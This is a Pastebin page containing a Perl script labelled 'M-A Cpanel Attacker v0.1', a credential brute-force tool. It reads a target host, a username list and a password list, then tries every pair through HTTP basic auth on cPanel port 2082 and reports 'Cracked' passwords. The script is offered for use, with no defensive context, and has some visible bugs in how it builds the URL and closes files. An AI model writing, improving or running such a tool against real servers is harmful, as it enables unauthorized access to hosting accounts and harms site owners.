Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # M-A_labz
- # gr33tz : Mr_Anarshi-T - b0y
- use Term::ANSIColor;
- use Win32::Console::ANSI;
- use LWP::UserAgent;
- use HTTP::Request;
- $ua = LWP::UserAgent->new(keep_alive => 1);
- $ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0)");
- $ua->timeout (30);
- # inpute variables :
- # host
- print color("bold red"), "\n[+] M-A Cpanel Attacker v0.1 \n";
- print color 'reset';
- print color("green"), "\n[+] Insert Target Name or IP Adress : ";
- print color 'reset';
- $host=<STDIN>;
- $port = "2082";
- $site = "http://".$host.":".$port;
- chomp($host);
- # user list
- print color("green"), "[+] Insert User name List : ";
- print color 'reset';
- $list=<STDIN>;
- chomp($list);
- # pass list
- print color("green"), "[+] Insert Password List : ";
- print color 'reset';
- $plist=<STDIN>;
- chomp($plist);
- # start working
- # open user list
- open (USRFILE, "<$list") || die "[-] Can't open the List of users file !";
- @LISTS = <USRFILE>;
- close USRFILLE;
- foreach my $L (@LISTS) {
- chomp $L;
- $usr = $L;
- print color("green"), "\n [+] Working on ";
- print color 'reset';
- print color("bold yellow"), "$usr\n\n";
- print color 'reset';
- open (PASSFILE, "<$plist") || die "[-] Can't open the List of password file !";
- @PLISTS = <PASSFILE>;
- close PASSFILLE;
- foreach my $P (@PLISTS) {
- chomp $P;
- $pwd = $P;
- print color ("bold white"), " [-] Trying $pwd\n";
- print color 'reset';
- $host= $site.":".$port;
- my $ua = LWP::UserAgent->new;
- my $req = HTTP::Request->new(GET => $host);
- $req->authorization_basic($usr, $pwd);
- if($ua->request($req)->code == 401){
- }
- else {
- print color("yellow"), " [+] Cracked : $pwd\n";
- print color 'reset';
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement